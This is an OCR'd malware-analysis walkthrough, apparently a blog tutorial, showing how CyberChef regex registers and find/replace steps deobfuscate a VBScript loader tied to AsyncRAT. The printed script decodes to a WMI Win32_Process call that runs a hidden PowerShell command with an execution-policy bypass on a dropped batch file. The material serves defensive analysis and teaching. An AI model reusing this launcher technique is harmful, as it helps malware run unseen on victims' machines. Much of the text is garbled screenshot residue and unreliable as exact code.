WGX0ORXASAPQVFKSUEONCP= Replace (" imvZPUNUAPQQRQXXHLKAGKSFJ:W" " ZPUNUAPQQRQXXHLKAGKSFJ","2")
UYPNHFVADWURHNHZPINPTA =

Replace (" TARQTGVDNTKKFKTTVUAVIZIARQTGVDNTKKFKTTVUAVIZT\c", " IARQTGVDNTKKFKTTVUAVIZ","0" ) &WGXOORXASAPQVF
KSUEONCP&Replace (" inBSGNUCUGSGYUWICYHZEPRC" , "BSGNUCUGSGYUWICYHZEPRC","'3")

EXUVOYHXQTCDOGNOFYCNEI = [ . ]
This essentially grabs “Replace” followed by the next three values contained in double

quotes.

None of; None of; None of:

LNl [ | BR) wnn Rl [ B | BR

©- ‘Replace(™ U , U o= =y @

After confirming that our regex worked as intended, we converted the regex into a subsection
and applied a register.

A register would allow us to extract values from the script and store them in “registers”, which
are the CyberChef equivalent of variables. This would allow us to better implement the string
replace operation.

In order to apply a register, we applied the same regex as before, but added parentheses
around the values that we wanted to store as variables.

This concept is also known as a “capture group” if you’re already familiar with regex.
(You can find a short tutorial on capture groups on regexone.com)

We briefly shortened the malware script to better demonstrate this concept. See how the
various values in the “replace” operation are now stored as variables $R0, $R1, $R2 etc.
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https://regexone.com/lesson/capturing_groups

Recipe BB E input + O3 8 =

UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"
\UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGFIW. bat"

Section (regex) KAYWWOXZXNUASUEWKCHFKL

Replace\ (" [*"1+"," [.. Case sensitive matching ~ =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS" , "IEGKBYVVFEPXFBDSLDYDUP","S")|

Subsection O n

Global matching D Ignore errors
aec 233 = 2 Tr Raw Bytes <« LF
Register on Output B [_D Mm o
Extractor . - UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"
e\, e, - Case insensitive \UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGFIW. bat"
KAYWWOXZXNUASUEWKCHFKL
=Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS", "IEGKBYVVFEPXFBDSLDYDUP" ,"S")
[ Multiline matching [] pot matches all
$RO = 2_ProceIEGKBYVVFEPXFBDSLDYDUPS
$R1 = IEGKBYVVFEPXFBDSLDYDUP
$R2 =

3 Sublime Text

Another graphical explanation courtesy of regexper.com.

Replace\(("[A"1+"),"([A"16)", "([A"1)™\)

I I I I
@- ‘Replace(’ -i— “"” U O e 7 E( o j ; o E( o 3 ; ) @

None of: None of:

We had successfully extracted values of interest using registers. Which we then applied to a
find/replace operation.
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https://regexper.com/#Replace%5C%28%28%22%5B%5E%22%5D%2B%22%29%2C%22%28%5B%5E%22%5D%2B%29%22%2C%22%28%5B%5E%22%5D%2B%29%22%5C%29

Recipe SN W

Subsection O n

Section (regex)

Replace\ (" [~"]1+","[ .. Case sensitive matching Global matching
[ ]1gnore errors

Register Q n

Extractor

e\ (" ([~T+)", " ([~]+)".. Case insensitive [ Multiline matching

[ ] Dot matches all

$RO® = 2_ProceIEGKBYVVFEPXFBDSLDYDUPS

$R1 = IEGKBYVVFEPXFBDSLDYDUP

$R2 = S
Regular expression Q n

Built in regexes Regex

User defined $R0O

W
Case insensitive ~ and $ match at newlines |:’ Dot matches all
. . Output format

[[] Unicode support  [_] Astral support [_] Display total [ ist matches
Find / Replace O n

Find Replace

$R1 REGEX ~ $R2 Global match

|:| Case insensitive Multiline matching |:| Dot matches all
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This operation was able to convert this original line into the following.
(Again, the malware script has been shortened to demonstrate the concept)

Input + O E i

UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass —Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.bat"
KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS", " IEGKBYVVFEPXFBDSLDYDUP" ,"'S")|

mc 233 = 2 Tr Raw Bytes
Output B rD F]
UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass —Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW

\UPFCRQOFGHVNBVUABXGFIW.bat"
KAYWWOXZXNUASUEWKCHFKL ="2_ProceSSs"

We then restored the full malware script and were able to obtain the following decoded
content. Noting that the Replace operations were now removed.

Input + D8 =

UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.bat"

KAYWWOXZXNUASUEWKCHFKL =Replace("2_ProceIEGKBYVVFEPXFBDSLDYDUPS","IEGKBYVVFEPXFBDSLDYDUP","S")

XFGOESLXRCJJCRHXBZBPTS =

Replace ("NGTBUVVAKXHWYSDLSUYFROA" , " GTBUVVAKXHWYSDLSUYFROA" , ''3" ) &KAYWWOXZXNUASUEWKCHFKL&Replace (" OPXKTTNEVHVBHPHDINRTICtaR", " OPXK
TTNEVHVBHPHDINRTIC","S")

WGX00RXASAPQVFKSUEONCP= Replace(" imvZPUNUAPQQRQXXHLKAGKSFJ:W" " ZPUNUAPQQRQXXHLKAGKSF]", "2" )

UYPNHFVADWURHNHZPINPTA =
Replace("IARQTGVDNTKKFKTTVUAVIZIARQTGVDNTKKFKTTVUAVIZT\c", " IARQTGVDNTKKFKTTVUAVIZ", 0" ) SWGXOORXASAPQVFKSUEONCP&Rep lace (" inBSGNUC
UGSGYUWICYHZEPRC", "BSGNUCUGSGYUWICYHZEPRC","3")

EXUVOYHXQTCDOGNOFYCNEL =
Replace("MPOBNUGSTNAQHXLKTOWPLKVS: r"," POBNUGSTNAQHXLKTOWPLKV" ,"T" ) &UYPNHFVADWURHNHZPINPTA&Replace (" UOPSIDSBZEFWOYWUGDCIGI_Proc",
"UOPSIDSBZEFWOYWUGDCJIGJ","2")

aee 3439 = 21 - Tr Raw Bytes & LF
Output R0Dm
UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass —-Command C:\ProgramData"&"\UPFCRQOFGHVNBVUABXGFIW

\UPFCRQOFGHVNBVUABXGFIW.bat"

KAYWWOXZXNUASUEWKCHFKL ="2_ProceSSs"

XFGOESLXRCJJCRHXBZBPTS = "N3"&KAYWWOXZXNUASUEWKCHFKL&"StaR"

WGXOORXASAPQVFKSUEONCP= " imv2:W"

UYPNHFVADWURHNHZPINPTA = "00T-c"&WGXO0ORXASAPQVFKSUEONCP&" in3"

EXUVOYHXQTCDOGNOFYCNEI = "MTS: r"&UYPNHFVADWURHNHZPINPTA&"2_Proc"
ZZWITKAWNKYJEHAFUDTCWW="vel=i"

UVFBXQSZHYDXQKCCQWWNYL=""10N"

KCKLFNNTZYUAJTCUDAPTVQ="NMgM"

XIJUZPDEZWXXLZKPLSXPLL="perS"

GINDQZLOGQHKQTVOYGHDKT = "aT"&UVFBXQSZHYDXQKCCQWWNYL&" le"&ZZWITKAWNKYJEHAFUDTCWW& " MP"
BDAEZIOSPHGLAYIEPCSKKZ="50na"

INAUKWKYCZNPOIVVNEQVFN="0t—cim"

CFKSWETDBQSRPZPHXUYTDX="wer"

LOCNYJVFLHRIEEXZNOQYXB ="11.e"

Set STBRIKUASKOWTRXWVSAOGR = GetObject("wi"&KCKLFNNTZYUAJTCUDAPTVQ&' 'ts:"&

" {iM"&XIJUZPDEZWXXLZKPLSXPLL&" on" &GINDQZLOGQHKQTVOYGHDKT&" er" &8BDAEZIOSPHGLAYIEPCSKKZ& " te} ! —. —ro" &INAUKWKYCZNPOIVVNEQVFN&" v2")
Set NWDUSWICRKNJIDDWWNKOSCS = STBRIKUASKOWTRXWVSAOGR.Get("wi'& XFGOESLXRCJJCRHXBZBPTS &"tuP")
Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWWNKOSCS.SpawnInstance_
NWVSBVKOKKPHTVJIUAYLXIC.ShowWindow = @

Set ESKRQXAIQCIIWGPQEPLXNJ] = GetObject("wiNmg"& EXUVOYHXQTCDOGNOFYCNEI &"eSS")
EEKTGASEUQPENYYXVFFTK] = ESKRQXAIQCIIWGPQEPLXNJ].Create("P0"&CFKSWETDBQSRPZPHXUYTDX&"She"&LOCNYIVFLHRIEEXZNOQYXB&' xe
"&UVXVCAEWLICGGPDCUNGYGU, null, NWVSBVKOKKPHTVIUAYLXIC, intProcessID)

The completed recipe can be seen in the screenshot below.

<
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(Note the optional addition of find/replace to turn backslashes into hyphens. The initial
extracted backslashes were causing issues with the find/replace operation, this isn't
necessary to do but it results in a slightly cleaner output)

Recipe BmE npuw +O8im

< UVXVCAEWL CGGPDCUNGVGU = "-noProfi1E ~ExEcutionPolicy Bypass -Conmand C: W. bat
Subsection omn .
=Rep DYDUPS",
ot foger XFGOESLXRCIICRHXBZBPTS =
Replace\ (" [~"]+","[~]+. = [ECase sensitive matching  [& Global matching  [Jignore errors p UYFROA", SUYFROA" ,"3" ICtaR" , "OPXKT I, st
P= Repla KAGKSFJ :W",
UYPNHFVADWURKNHZPINPTA =
Find | Replace omn Repla(e("' TVUAVD; TVUAVIZT\c", (TTVUAVIZ", 0" P&Replace (" inBSGNUCUGSGYUWICYHZEPRC" , “BSGNUCUGSGYUWICYHZEPRC™
g Replace EXUVDVNXQT(DOCNOFVCNEI
\ SIMPLE STRING ~ - & Global match ] Case insensitive o KTOWPLKVS: r* TOWPLKV", *T" 363_Proc”, 36", ")
ZINJTKA'NKYJENAFUBYCWRED\Z(E( VElUNﬂKIPLDUAPKEOSGWJWBVl UNDKZPLUDAPKEGGGWJHKV '=")
CQWANYL=Replace ( v,
Muttiline matching [0 Dot matches all KCKLFNNTZYUAJITC IDCRKDOP KgDCRI u ")
XIIUZPDEZWXXLZKPLSXPLL=Re p\ace(” RO. .
GINDQZLOGQHKQTVOYGHDKT =
© I Replace("TATE | “TATEJOWRTXSYSZNVIBACNO" , a*) GUVFBXQSZHYDXQKCCOWWNYLEReplace (* LSOFYORNNZGOHPVIEBIRIGK' ) JEBIRIGK™, e ) 6ZZWITKANKYJEHAFUDTC
" 1L ")
o BOAEZIOSPHGLAYIEPCSKKZ=Replac: ( SNDXEKFNEB)NP'AGLBMQN NDXEKFNE!JNPYAGLSMW "0")
oo ECassimsenstve  [IMubinematchng  LID0tmalchesal  Soaveaermsory e )
$RO = “xIICZVNRATNSIOHGKYUGUOX * M A L N |
(1 = TICZVNRATNSIOHGKYUGUOX o
G Output BDm:
$R2 = e
UVXVCAEWL] CGGPDCUNGVGU = "~ ofilE -ExEcutionPolicy Bypass -Command C: g ' UPFC| UPFCI IW. bat"
KAYWWOXZXNUASUEWKCHFKL ="2_Process”
Regular exprassion Y 11 XFGOESLXRCIICRHXBZBPTS AYWWOXZXNUASUEWKCHFKLE"StaR"
WGXO0RXASAPQVFKSUEONCP= g
Bult in regexes Regex . —
User defined $RO Case insensitive
_Proc”
y ZDUTKANKYEHAFUDTCHNS
i UVFBXQSZHYDXQKCCQWWNYL:
KCKLFNNTZYUAJTCUDAPTVO:
~ and $ match at newlines [] Dot matches all [ Unicode support [ Astral support [] Display total  x1JuZPDEZWXXLZKPLSXPLL:
T COWWNYLE™ Le"&Z24) TKAWNKY JEHAFUDT CHi&"MP™
List matches
(CFKSWETDBQSRPZPHXUYTDX:
Find | Replace on SE! STBRIKUASKOWTRXWVSAOGR = nemn]em 'wi"SKCKLFNNTZYUAJTCUDAPTVQE" ts: "& “{iM"&XTJUZPDEZWXXLZKPLSXPLLE" on"&GINDQZLOGQHKQTVOYGHDKT&" er " &BDAEZIOS PHGLAYTEPCSKKZE" te} ! ==. =
0" &INAUKWKYCZNPOTVVNEQUENG"v2")
Find . Replace Set NWDUSWICRKNIDDWWNKOSCS = STBRJKUASKW"\XWSADGR Get("wi"& XFGOESLXRCIICRHXBZBPTS &"tuP")
$R1 REGEX $R2 Glcbal C=ED D e Set NWVSBVKOKKPHTVIUAYLXIC = NWDUSWICRKNIDDWWNKOSCS.SpawnInstance_
NWVSBVKOKKPHTVJUAYLXIC. Showhindow
Set ESKROXALOCTIVGPQEPLXN = GetObject (*wiNing"s EXUVOYHXOTCOOGNOFYCNET eSS )
Muttiline matching D Dot matches all EEKTGASEUQPENYYXVFFTK) = ESKROXAIQCIIWGPQEPLXN).Create("P0"&CFKSWE TD) he' &LOCNYIVFL 'xe “&UVXVCAEWLICGGPDCUNGVGU, null,
NWVSBVKOKKPHTVIUAYLXIC, intProcessID)
Merge on
Merge All
Syntax highlighter omn

aaaaaaaa

oot ([EFSTT
N

Obfuscation 4: String Concatenation

We then had one final obfuscation remaining. It is arguably the simplest so far and ironically
the only one that could not be resolved via CyberChef.

Throughout the code are concatenated strings that the malware previously stored in
variables.

An attempt was made to resolve this using subsections and registers, but ultimately we could
not find a solution.

We then found a workaround that wasn’t CyberChef, but technically didn’t involve leaving the
CyberChef window so it was close enough.

Here is the script with the original string concatenations "&"

CLNIURJLCUYrCNI IAVIT I —

ESKRQXAIQCIIWGPQEPLXNJ.Create ("P0"&CFKSWETDBQSRPZPHXUYTDX&" She"&LOCNYIVFLHRIEEXZNOQYXB&"
xe "&UVXVCAEWLJICGGPDCUNGVGU, null, NWVSBVKOKKPHTVJUAYLXIC, intProcessID)

We then replaced the visual basic string concatenations (&) with a javascript equivalent (+)
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Recipe B E§ nput + 0208 =

UVXVCAEWLICGGPDCUNGVGU = "-noProfilE -ExEcutionPolicy Bypass —Command C:\ProgramData"&"
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW. bat"
KAYWWOXZXNUASUEWKCHFKL ="2_ProceSS"

Find | Replace

Find Replace
&‘ SIMPLE STRING ~ 4 XFGOESLXRCJICRHXBZBPTS = "N3"&KAYWWOXZXNUASUEWKCHFKL&"StaR"
WGXOORXASAPQVFKSUEONCP= "imv2:W"
HYPNHFV/ANWIIRHNHZRTNRTA = "NNT=r"SWRYNNRYASAPNVEKSIIENNCRL! in?"
Global match [] case insensitive DEY Tr faw Bytes IR
Output BO®::
Multiline matching (] Dot matches all UVXVCAEWLICGGPDCUNGVGU = "—noProfilE —ExEcutionPolicy Bypass —Command C:\ProgramData"+"
\UPFCRQOFGHVNBVUABXGFIW\UPF CRQOF GHVNBVUABXGFIW. bat"
- KAYWWOXZXNUASUEWKCHFKL ="2_ProceSS"
Syntax highlighter XFGOESLXRCIJCRHXBZBPTS = "N3"-+KAYWWOXZXNUASUEWKCHFKL+"StaR"
WGXOORXASAPQVFKSUEONCP= "imv2:W"
Lanquage UYPNHFVADWURHNHZPINPTA = "00T-c"+WGXOORXASAPQVFKSUEONCP+"in3"

auto detect EXUVOYHXQTCDOGNOFYCNEL = “MTS: r"+UYPNHFVADWURHNHZPINPTA+"2_Proc"

ZZWITKAWNKYJEHAFUDTCWW="vel=i""

UVFBXQSZHYDXQKCCQWWNYL=""1ON"

KCKLFNNTZYUAJTCUDAPTVQ="NMgM"

XIJUZPDEZWXXLZKPLSXPLL="pers"

GINDQZLOGQHKQTVOYGHDKT = "aT"+UVFBXQSZHYDXQKCCQWWNYL+"1e"+ZZWITKAWNKYJEHAFUDTCWW+"MP"
BDAEZIOSPHGLAYIEPCSKKZ="SOna"

INAUKWKYCZNPOIVVNEQVFN="ot-cim"

CFKSWETDBQSRPZPHXUYTDX=
LOCNYJVFLHRIEEXZNOQYXB ="11.e"

Set STBRIKUASKOWTRXWVSAOGR = GetObject("wi"+KCKLFNNTZYUAJTCUDAPTVQ+"ts:"+

" {iM"+XTJUZPDEZWXXLZKPLSXPLL+"on"+GINDQZLOGQHKQTVOYGHDKT+"er"+BDAEZIOSPHGLAYIEPCSKKZ+"te

}l——.-ro"+INAUKWKYCZNPOIVVNEQVFN+"v2")
Set NWDUSWICRKNJDDWWNKOSCS = STBRIKUASKOWTRXWVSAOGR.Get ("wi'+ XFGOESLXRCJJCRHXBZBPTS
+"tuP")

Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWWNKOSCS.SpawnInstance_
NWVSBVKOKKPHTVJUAYLXIC.ShowWindow = @

Set ESKRQXAIQCIIWGPQEPLXNJ = GetObject("wiNmg"+ EXUVOYHXQTCDOGNOFYCNEI +"eSS")
EEKTGASEUQPENYYXVFFTK] =
ESKRQXAIQCIIWGPQEPLXNJ.Create("P0"+CFKSWETDBQSRPZPHXUYTDX+"She"+LOCNYJVFLHRIEEXZNOQYXB+"
xe "+UVXVCAEWLICGGPDCUNGVGU, null, NWVSBVKOKKPHTVJUAYLXIC, intProcessID)

The firefox developer console to dynamically concatenate the strings.

The concatenated strings can be seen below. This reveals the ultimate intention and purpose
of the script, which was to utilize Powershell to execute a second payload (a batch script)
stored on the machine.

GOESLXRCJJICRH

'+UVFBXQSZHYDXQK e WITKAWN EHAFUDTCWW+"M

LOCNYJVFLHI
".e"
A Scroll anchorina was disabled in a scroll container because of too manv consecutive adiustments (10) with too little total distance (@ ox averace. @ px total).
» (" +KCKLFNNTZYUAJTCUDAPTVQ+ + "{i¥ JUZP! ZKPLSXPLL+" "' +BDAEZIOSPHGLAYI SKKZ+"te . {CZNPOIVVNEQVFN+'
"wiNMgMts:{iMperSonaTiONlevel=iMPerSOnate

"wiNmgMTS: rO0T-cimv2:Win32_ProceSS"
»" ET| HXUYTDX+"'She"
"POwerShell.exe -noProfilE -ExEcutionPolicy Bypass —Command C:ProgramDataUPFCRQOFGHVNBVUABXGFIWUPFCRQOFGHVNBVUABXGFIW.bat"

31

For the sake of readability and completeness, we manually replaced the last decoded
values, leaving this as the final state of the script.
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Set STBRIKUASKOWTRXWVSAOGR =
Set NWDUSWICRKNJIDDWWNKOSCS
Set NWVSBVKOKKPHTVJUAYLXIC =
NWVSBVKOKKPHTVJUAYLXIC.ShowWindow =
Set ESKRQXAIQCIIWGPQEPLXNJ
EEKTGASEUQPENYYXVFFTK] =
Bypass
NWVSBVKOKKPHTVJUAYLXIC,

intProcessID)

Before and After Pics

= GetObject("wiNmgMTS: rO0T—-cimv2:Win32_ProceSS")
ESKRQXAIQCIIWGPQEPLXNJ.Create("POwerShell.exe —noProfilE —-ExEcutionPolicy
—-Command C:\\ProgramData\\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.bat",

null,

GetObject("wiNMgMts:{iMperSonaTiONlevel=iMPerSOnate}!-—.-root-cimv2")
STBRIKUASKOWTRXWVSAOGR.Get ("wiN32_ProceSSStaRtuP")
NWDUSWICRKNJIDDWWNKOSCS.SpawnInstance_

Here you can see a full before and after of our CyberChef Decoding.

Output

UVXVCAEWLICGGPOCLNGVGU = *"&chr (45)
x"&chr (698"

(97)&""&chr (115) 6" "&ehr(

C"&chr(111)6""6chr(109)6" ‘&chr(109)&""&chr (97)&""&chr(110)6"d

C:\Pr&chr(111)6""+"gr"&chr (97)&" “&chr (109)6"D"+" "&chr (97)&" t" &chr (97) &" 6" \UPFCRQOF GHVNBVUABXGF IW

\UPFCRQOFGHVNBVUABXGF IW. b"&chr (97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor &chr(80)6"_"&

chr(5@)&""), " TEGKBYVVFEPXFBOSLDYDUP",““&chr(83)&"")

XFGOESLXRCIICRHXBZBPTS =

Replace(StrReverse ("AORFYUSLDSYWHXKAVVUBTG"&chr (78)&"" ), “GTBUVVAKXHWYSDLSUY FROA™ , **

S Wallc e

hr(110)6""6chr(111)&"Pr 6chr(111)6""
"uti"6chr(111)&"&chr(110)6"P*&chr (111

1Gchr (69)6"

&Chr(51)6™ ) SKAYWWOXDNUAS

UEWKCHFKLGRepace (StrReverse(""&chr(82)&"atCT TKXPO™ ) , "OPXKT TIC",""&chr(83)6"")
WGXOORXASAPQVFKSUEONCP=

Replace(StrReverse (“W: JFSKGAKLHXXQRQQPAUNUPZvmi™ ) , " ZPUNUAPQQROXXHLKAGKSF)" , ““&chr (50)&"" )
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse ("c\"&chr (84)&"ZIVAUVTTKFKK ZIVAUVTTKFKK TTWALIZ, "6

hr(79)&"" ) SWGXOORXASAPQVFKSUEONCPSReplace (StrReverse (™ (npeznvuwvr,scucmﬁsnmp "BSGNUCUGSGYUWICYHZEPRC" , ""&
chr(51)6"")

EXUVOYHXQTCDOGNOFYCNET =
Replace(StrReverse ("r:"&chr(83)&"VKLPWOTKLXHOANTSGUNBOP"&chr (77)6"), "POHHESMUNXLKTMLKV",""&:nrl!l)&"")&
UYPNHFVADWURHNHZPINPTAGRepLace (St rReverse ("corP_JGIC 63", ""&chr(50)&

)
ZZW)TKAWNKYJEHAFUDTCWW=Replace (St rReverse (" iVBWIQIGGGEKPAQQLPZKDHU lev" ) , “UHDKZPLQOAPKEGGGIQIWBV" , "=")

UVFBXQSZHYDXQKCCQWWNYL=Replace (St rReverse (“"&chr (78)6" VEAJOVC "), "VZE VOJAEV",""&
chr(79)&"")

KCKLFNNTZYUAJTCUDAPTVO=Replace (St rReverse ("KY PQDKRCDGKY PODKRCD"&

chr(78)&""), “DCRKDQPCOHHODVOHUPGIYK™ , " &chr (77)&"")

XI1JUZPDEZWXXLZKPLSXPLL=Replace (St rReverse(""&

chr(83)' THREKHZJORep") , "ROJZHKERHT 2", )

GINDQZLOGQHKQTVOYGHDKT =

Replace(StrReverse (""&chr(84)5"ONCABIVNZSYSXTRWOJETAT" ), TATEJ OWRTXSYSZNVIBACNO™ , “a" ) SUVFBXQSZHYDXQKC COWWNYLE
Replace(StrReverse ("KGIRIBE 1), "SOF JEBIRIGK", "e") &ZZWITKAWNKY JEHAFUDTCWWSRep Lace (St

Here you can see a full before/after, with the string concatenations and assigments manually

removed.

Bbhm:a

UVXVCAENLICGGPOCUNGYGU = “"chr (45)§""6chr (110)§"“6chr (111)6"Prbchr (111)6""+" 11" scnr(sq)s.
&l I 69),

"§chr(111)6""&chr (118)&"P"&chr(111) “icy

chr(109)&"D"

C:\Pr*gchr(111)6""
\UPFCRQOF GHVNBVUABXGF IW. b"&chr (97)&
KAYWWOXZXNUASUEWKCHFKL =Replace (St i
Chr(5)8"") , " IEGKBYVVFEPXFBOSLDYDUP" """
XFGOESLXRCIICRHXBZEPTS =

g s:nrr 97)6" “chr(97) 6" t“&chr (97)&"*&" \UPFCRQOFGHVNBVUABXGF IW

(""chr (83)&"PUDYDLSDBFXPEFVVYBKGET ecorchr (80)6" "6
chr(83)6")

root

AORFYUSL hr(78)6"), SUYFROA", ""chr (51)6"") SKAYWWOXZXNUAS
UEWKCHFKLGReplace (StrReverse (" &chr (82) 6" atCITRNIDHPHBVHVENTTKXPO" ), “OPXKTTNEVHVBHPHDINRTIC™ , ““&chr (83)6"*)
WGXOORXASAPQUFKSUEONCP=
Replace(StrReve rse(“W: JFSKGAKLHXXQROQPAUNUPZvE1" ) , " ZPUNUAPQQROXXHLKAGKSF )", " &chr (50)&"")
UYPAHFVADMURAHZPINPT)

" c\"Ech (84) " ZIVAWTTKF VAUVTTKFKKTNOVGTORAT ") e

hr(79)6"") SHGXOORXASAPQVFKSUEONCPGRep Lace (St rReverse (" CRPEZHYCIWUYGSGUCUNGSBN L") , nsmu(ucscvmcvnzem g
chr(51)&")
EXUVOYHXQTCDOGNOFYCNET =

Replace(StrReverse(" r:"&chr(83)6"VKLPWOTKL &chr(77)6"") "R KTOWPLKV", " 6chr (84)6"")&
Reverse("corP_JGIC ) 63", ""&chr(50)6
)

JEHAFUDTC Reverse("i PZXDHULev" ), “UHDKZPLQQAPKEGGGIQIWBV" ,"=")
UVFBXQSZHYDXQKCCOWWNYL=Replace (St rReverse (" &chr (78)&" VEA "), VOJAE!
chr(79)6™)

UDAPT: rReverse( PQDKRCDG! PODKRCD
chr(78)&""), “DCRKDOPCOHHODVOHUPGIYK™ " &chr (77)6"")
X1JUZPDEZWXXLZKPLSXPLL=Replace (St rRe
(83, JoRep" ), "RO. )
GINDQZLOGQHKQTVOYGHOKT =
Replace(StrReve rse(""&chr(84)5"ONCAB. JETAT" ), “TATE. JBACNO" , *a* COMNYLE

Replace(StrReve rse("KGIRIBE
rse("LITRKBUSU
1 AVTERC ST

JEHAFUDTCH

"HOXEICENER THPTAGI R7wh 0N

Conclusion

Set STBRIKUASKOWTRXWVSAOGR =
—-cimv2")
Set NWDUSWICRKNJDDWWNKOSCS =

Output

UVXVCAEWLICGGPDCUNGVGU =
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.bat"
KAYWWOXZXNUASUEWKCHFKL ="2_ProceSS"

XFGOESLXRCJICRHXBZBPTS N3" &KAYWWOXZXNUASUEWKCHFKL&"StaR"
WGXOORXASAPQVFKSUEONCP= "imv2:W"

UYPNHFVADWURHNHZPINPTA = "00T—c"&WGXOORXASAPQVFKSUEONCP&™ in3"
EXUVOYHXQTCDOGNOFYCNEI = “MTS: r"&UYPNHFVADWURHNHZPINPTA&"2_Proc"
ZZWITKAWNKYJEHAFUDTCWW="ve 1=i"

UVFBXQSZHYDXQKCCQWWNYL="10N"

KCKLFNNTZYUAJTCUDAPTVQ="NMgM"

XIJUZPDEZWXXLZKPLSXPLL="perS"

GINDQZLOGQHKQTVOYGHDKT aTiONlevel=iMP"
BDAEZIOSPHGLAYIEPCSKKZ="S0na"

INAUKWKYCZNPOIVVNEQVFN="ot-cim"

CFKSWETDBQSRPZPHXUYTDX="wer"

LOCNYJVFLHRIEEXZNOQYXB =’

Le"

BDODm:

“-noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData"&"

Set STBRIKUASKOWTRXWVSAOGR = GetObject(''wiNMgMts:{iMperSonaTiONlevel=iMPerSOnate}!-—.-root-cimv2")

Set NWDUSWICRKNJIDDWWNKOSCS = STBRIKUASKOWTRXWVSAOGR.Get (*“wiN32_ProceSSStaRtuP")
Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWWNKOSCS.SpawnInstance_
NWVSBVKOKKPHTVJUAYLXIC. ShowWindow = @

Set ESKRQXAIQCITWGPQEPLXN] = GetObject("wiNmgMTS:r00T-cimv2:Win32_ProceSS")

EEKTGASEUQPENYYXVFFTK) = ESKRQXAIQCIIWGPQEPLXNJ.Create("POwerShell.exe -noProfilE -ExEcutionPolicy
Bypass —-Command C:\\ProgramData\\UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGFIW.bat", null,

Output

BO0mE::

GetObject("wiNMgMts:{iMperSonaTiONlevel=iMPerSOnate}!—-.-

STBRIKUASKOWTRXWVSAQGR. Get ("wiN32_ProceSSStaRtuP")
Set NWVSBVKOKKPHTVJUAYLXIC = NWDUSWICRKNJDDWWNKOSCS.SpawnInstance_
NWVSBVKOKKPHTVJUAYLXIC. ShowWindow = @

Set ESKRQXAIQCIIWGPQEPLXN] =
EEKTGASEUQPENYYXVFFTK] =

GetObject("wiNmgMTS: r00T-cimv2:Win32_ProceSS")
ESKRQXAIQCIIWGPQEPLXNJ.Create("POwerShell.exe -noProfilE
-ExEcutionPolicy Bypass -Command C:\\ProgramData\\UPFCRQOFGHVNBVUABXGFIW
\\UPFCRQOFGHVNBVUABXGFIW.bat", null, NWVSBVKOKKPHTVJUAYLXIC, intProcessID)

At this point, we considered the script to be fully decoded and proceeded to analyze the
remaining .bat script. This .bat script was itself obfuscated, and unravelled itself into another
(unsurprisingly) obfuscated PowerShell script. This PowerShell script contained a loader for

AsyncRat malware.

If you're interested in seeing some additional analysis of the remaining payloads, we highly

recommend the following posts.
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o Matthew Brennan - @embee_research
https://twitter.com/embee_research/status/15894533904506839057s=20

e Michael Elford - @Maverick_011
https://hcksyd.medium.com/asyncrat-analysing-the-three-stages-of-execution-
378b343216bf
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